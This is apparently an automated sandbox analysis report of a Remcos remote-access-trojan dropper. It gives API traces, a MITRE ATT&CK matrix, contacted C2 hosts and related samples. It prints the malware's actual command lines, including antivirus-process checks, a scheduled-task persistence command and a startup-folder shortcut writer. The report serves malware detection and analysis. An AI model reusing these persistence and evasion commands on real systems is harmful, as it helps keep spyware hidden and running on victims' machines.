Code function: 19_2_0020F4FF BlockInput,

19_2_0020F4FF

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_0019338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_0019338B

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001B5058 mov eax, dword ptr fs:[00000030h]

19_2_001B5058

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001F20AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

19_2_001F20AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001C2992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_001C2992
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B0BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_001B0BAF
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B0D45 SetUnhandledExceptionFilter,	19_2_001B0D45
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B0F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_001B0F91

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

19_2_001F1B4D

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_0019338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_0019338B

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001FBBED SendInput,keybd_event,

19_2_001FBBED

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001FEC6C mouse_event,

19_2_001FEC6C

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Cab Cab.cmd & Cab.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 638933	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Chosen" Bugs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wichita + ..\Sign + ..\Idol + ..\Lauren + ..\Rice + ..\Bold + ..\Loops + ..\Shore + ..\Marie g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\638933\Beth.com Beth.com g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cyberscope.url" & echo url="c:\users\user\appdata\local\securescope dynamics\cyberscope.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cyberscope.url" & exit
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cyberscope.url" & echo url="c:\users\user\appdata\local\securescope dynamics\cyberscope.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cyberscope.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001F14AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

19_2_001F14AE

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001F1FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

19_2_001F1FB0

Source: Beth.com, 0000000B.00000003.2169196998.00000000041B5000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000000.2161991478.0000000000883000.00000002.00000001.01000000.00000007.sdmp, CyberScope.com, 00000013.00000002.2190033226.0000000000253000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: CyberScope.com	Binary or memory string: Shell_TrayWnd
Source: registros.dat.11.dr	Binary or memory string: [2024/12/19 17:42:57 Program Manager]

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001B0A08 cpuid

19_2_001B0A08

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001EE5F4 GetLocalTime,

19_2_001EE5F4

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001EE652 GetUserNameW,

19_2_001EE652

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001CBCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

19_2_001CBCD2

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match

File source: C:\ProgramData\data\registros.dat, type: DROPPED

Source: CyberScope.com	Binary or memory string: WIN_81
Source: CyberScope.com	Binary or memory string: WIN_XP
Source: Nearby.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progre
Source: CyberScope.com.11.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: CyberScope.com	Binary or memory string: WIN_XPe
Source: CyberScope.com	Binary or memory string: WIN_VISTA
Source: CyberScope.com	Binary or memory string: WIN_7
Source: CyberScope.com	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match

File source: C:\ProgramData\data\registros.dat, type: DROPPED

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00212263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		19_2_00212263
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00211C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		19_2_00211C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	21 Access Token Manipulation	1 Software Packing	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	2 Registry Run Keys / Startup Folder	12 Process Injection	1 DLL Side-Loading	LSA Secrets	12 Security Software Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	111 Masquerading	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	2 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nikDoCvpJa.exe	26%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\638933\Beth.com	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
navegacionseguracol24vip.org	181.131.217.244	true	false	high
geoplugin.net	178.237.33.50	true	false	high
wnBHxhzUAWNxsjrpdZtUkwTu.wnBHxhzUAWNxsjrpdZtUkwTu	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/X	Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000000.2162090639.0000000000895000.00000002.00000001.01000000.00000007.sdmp, CyberScope.com, 00000013.00000002.2190131677.0000000000265000.00000002.00000001.01000000.00000009.sdmp, CyberScope.com, 00000016.00000000.2276662268.0000000000265000.00000002.00000001.01000000.00000009.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	nikDoCvpJa.exe	false	high
http://crl.thawte.com/ThawteTimestampingCA.crl0	nikDoCvpJa.exe	false	high
https://www.autoitscript.com/autoit3/	Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	false	high
http://ocsp.thawte.com0	nikDoCvpJa.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
181.131.217.244	navegacionseguracol24vip.org	Colombia		13489	EPMTelecomunicacionesSAESPCO	false
178.237.33.50	geoplugin.net	Netherlands		8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578615
Start date and time:	2024-12-19 23:41:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nikDoCvpJa.exe renamed because original name is a hash value
Original Sample Name:	d2729f574a3ba69a10c00a5992986226.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@36/29@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 80 Number of non-executed functions: 310
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: nikDoCvpJa.exe

Simulations

Behavior and APIs

Time	Type	Description
17:42:04	API Interceptor	1x Sleep call for process: nikDoCvpJa.exe modified
17:42:46	API Interceptor	261563x Sleep call for process: Beth.com modified
23:42:10	Task Scheduler	Run new task: Config path: wscript s>//B "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js"
23:42:12	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
181.131.217.244	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse
	hoTwj68T1D.exe	Get hash	malicious	Unknown	Browse
	IXCbn4ZcdS.exe	Get hash	malicious	Remcos	Browse
	4JwhvqLe8n.exe	Get hash	malicious	Unknown	Browse
	d7gXUPUl38.exe	Get hash	malicious	Remcos	Browse
	fIPSLgT0lO.exe	Get hash	malicious	Unknown	Browse
	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse
178.237.33.50	17346150108fd59162a7f50db4b74cc85f1873b39cc8eaeab355e353b3b8b18e8e21fd369d493.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	LbtytfWpvx.vbs	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	SwiftCopy_PaymtRecpt121228.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
navegacionseguracol24vip.org	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	hoTwj68T1D.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	IXCbn4ZcdS.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	4JwhvqLe8n.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	d7gXUPUl38.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
geoplugin.net	17346150108fd59162a7f50db4b74cc85f1873b39cc8eaeab355e353b3b8b18e8e21fd369d493.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	LbtytfWpvx.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	178.237.33.50
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SwiftCopy_PaymtRecpt121228.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EPMTelecomunicacionesSAESPCO	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	190.250.82.196
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	201.233.155.11
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	201.233.213.88
	arm5.nn-20241218-1651.elf	Get hash	malicious	Mirai, Okiru	Browse	201.232.1.208
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	181.134.107.144
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	181.130.255.187
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	181.140.1.158
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	181.135.96.108
	arm5.elf	Get hash	malicious	Unknown	Browse	191.94.11.254
	mpsl.elf	Get hash	malicious	Unknown	Browse	181.128.127.248
ATOM86-ASATOM86NL	17346150108fd59162a7f50db4b74cc85f1873b39cc8eaeab355e353b3b8b18e8e21fd369d493.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	LbtytfWpvx.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	178.237.33.50
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SwiftCopy_PaymtRecpt121228.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	downloaded_exe.exe	Get hash	malicious	RHADAMANTHYS	Browse
	Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	main.exe	Get hash	malicious	RHADAMANTHYS	Browse
	deb.exe	Get hash	malicious	RHADAMANTHYS	Browse
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.msi	Get hash	malicious	Vidar	Browse
C:\Users\user\AppData\Local\Temp\638933\Beth.com	downloaded_exe.exe	Get hash	malicious	RHADAMANTHYS	Browse
	Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	main.exe	Get hash	malicious	RHADAMANTHYS	Browse
	deb.exe	Get hash	malicious	RHADAMANTHYS	Browse
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.msi	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\data\registros.dat

Process:	C:\Users\user\AppData\Local\Temp\638933\Beth.com
File Type:	data
Category:	dropped
Size (bytes):	184
Entropy (8bit):	3.375175391562378
Encrypted:	false
SSDEEP:	3:rhlKlyKHlfUlWJF+rQ55JWRal2Jl+7R0DAlBG4phlKlyKHlfUlWJF+mPQblovDlA:6lZHl8RE55YcIeeDAlMlZHl8RPbWAv
MD5:	476F1747F69532F4F7BA0AE5031CB0F7
SHA1:	E1E94D75DA26286D1D4859222F34F4D32155426B
SHA-256:	D828C3C97B1E576A022F5A47700D30A8720B8D370421188044D9E9EB19728CF5
SHA-512:	BCE05D0307D9DC394E08D055BD26C91843AF3359F6D49B96C7A785F8BF5BBBF08DBBB4E486C7AD0551CCB65987A06486853A6C43C80D9F048A3BDC26D5187818
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\data\registros.dat, Author: Joe Security
